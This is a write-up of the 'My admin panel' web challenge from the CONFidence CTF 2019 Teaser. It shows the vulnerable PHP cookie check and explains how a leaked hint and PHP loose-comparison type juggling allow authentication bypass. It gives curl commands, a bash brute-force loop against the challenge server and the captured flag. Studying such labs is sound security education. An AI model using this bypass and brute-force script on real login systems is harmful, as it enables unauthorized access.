Information#
CTF#
- Name : CONFidence CTF 2019 Teaser
- Website : confidence2019.p4.team
- Type : Online
- Format : Jeopardy
- CTF Time : link
My admin panel - Web#
I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?
<?php
include '../func.php';
include '../config.php';
if (!$_COOKIE['otadmin']) {
exit("Not authenticated.\n");
}
if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
exit();
}
$session_data = json_decode($_COOKIE['otadmin'], true);
if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }
if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
echo("I CAN EVEN GIVE YOU A HINT XD \n");
for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
}
exit("\n");
}
display_admin();
Ok let's give them what is asked and get a hint:
$ curl -v https://gameserver.zajebistyc.tf/admin/login.php -H 'Cookie: otadmin={"hash": "0A"}'
I CAN EVEN GIVE YOU A HINT XD
0006464640640064000646464640006400640640646400
We will get into the for
loop 32 time as the length of a md5 hash is 32.
ord(MD5($cfg_pass)[$i]) & 0xC0
will take each char of the MD5 hash of $cfg_pass
one by one and Bitwise AND it with 0xC0
, then will put the result as a decimal.
First we need to split 0006464640640064000646464640006400640640646400
. But how?
MD5 hashes are only using hexadecimal characters so chars in [0-9A-Z]
, in decimal from 48 (0) to 57 (9) and from 65 (A) to 90 (Z). But there is the Bitwise AND with 0xC0
.
0x00 & 0xC0
to 0x39 & 0xC0
will be equal to int(0)
and 0x40 & 0xC0
to 0x7F & 0xC0
will be equal to int(64)
.
So all letters will result in 64
and all numbers to 0
.
So we have 0 0 0 64 64 64 0 64 0 0 64 0 0 0 64 64 64 64 0 0 0 64 0 0 64 0 64 0 64 64 0 0
.
[0-9]
: 10 possibilities[A-F]
: 6 possibilities
Let's count how many of each there are:
irb(main):002:0> hash = "0 0 0 64 64 64 0 64 0 0 64 0 0 0 64 64 64 64 0 0 0 64 0 0 64 0 64 0 64 64 0 0"
=> "0 0 0 64 64 64 0 64 0 0 64 0 0 0 64 64 64 64 0 0 0 64 0 0 64 0 64 0 64 64 0 0"
irb(main):003:0> hash.split.count("0")
=> 18
irb(main):004:0> hash.split.count("64")
=> 14
This make a lots of possibilities even if it is far less than bruteforcing MD5 without a clue:
irb(main):005:0> 10**18 * 6**14
=> 78364164096000000000000000000
irb(main):008:0> 16**32
=> 340282366920938463463374607431768211456
This make the hash nearly 96 bits strong instead of 128 bits strong. This is still too much.
So we may need to bypass the loose comparison $session_data['hash'] != strtoupper(MD5($cfg_pass))
with a type juggling.
Let's see the PHP type comparison tables and remind us some stuff reading PHP Magic Tricks: Type Juggling.
We may expect NULL
to be truthy with something else but $session_data === NULL
is preventing us from doing that and we still need to match this regex /^{"hash": [0-9A-Z\"]+}$/
.
But json_decode
will convert the JSON string to PHP object, so we can not only provide strings but also integers thanks to JSON.
Instead of /^{"hash": [0-9A-Z\"]+}$/
the regex should have been /^{"hash": "[0-9A-Z]{32}"}$/
to be more secure to force us to send a string.
$ php -a
Interactive shell
php > var_dump(json_decode('{"hash": ""}', true)['hash']);
string(0) ""
php > var_dump(json_decode('{"hash": 0}', true)['hash']);
int(0)
And we know this trick with type juggling:
php > var_dump(48 == "48hnj");
bool(true)
As we have 0 0 0 64 64 64 0 64 0 0 64 0 0 0 64 64 64 64 0 0 0 64 0 0 64 0 64 0 64 64 0 0
the string will be interpreted to an integer because it begins with a number and as there are three 0
it begins with three numbers. So if we send {"hash": <num>}
where num is an integer form 0 to 999 we should get the bypass by bruteforcing all the values.
If you don't understand what I mean, we need something like that:
php > var_dump(json_decode('{"hash": 556}', true)['hash'] == "556CC23863FEF20FAB5C456DB166BC6E");
bool(true)
So I did a quick bash script:
#!/bin/bash
for i in {1..999}
do
param="Cookie: otadmin={\"hash\": ${i}};"
curl https://gameserver.zajebistyc.tf/admin/login.php -H "$param"
done
The flag was p4{wtf_php_comparisons_how_do_they_work}
.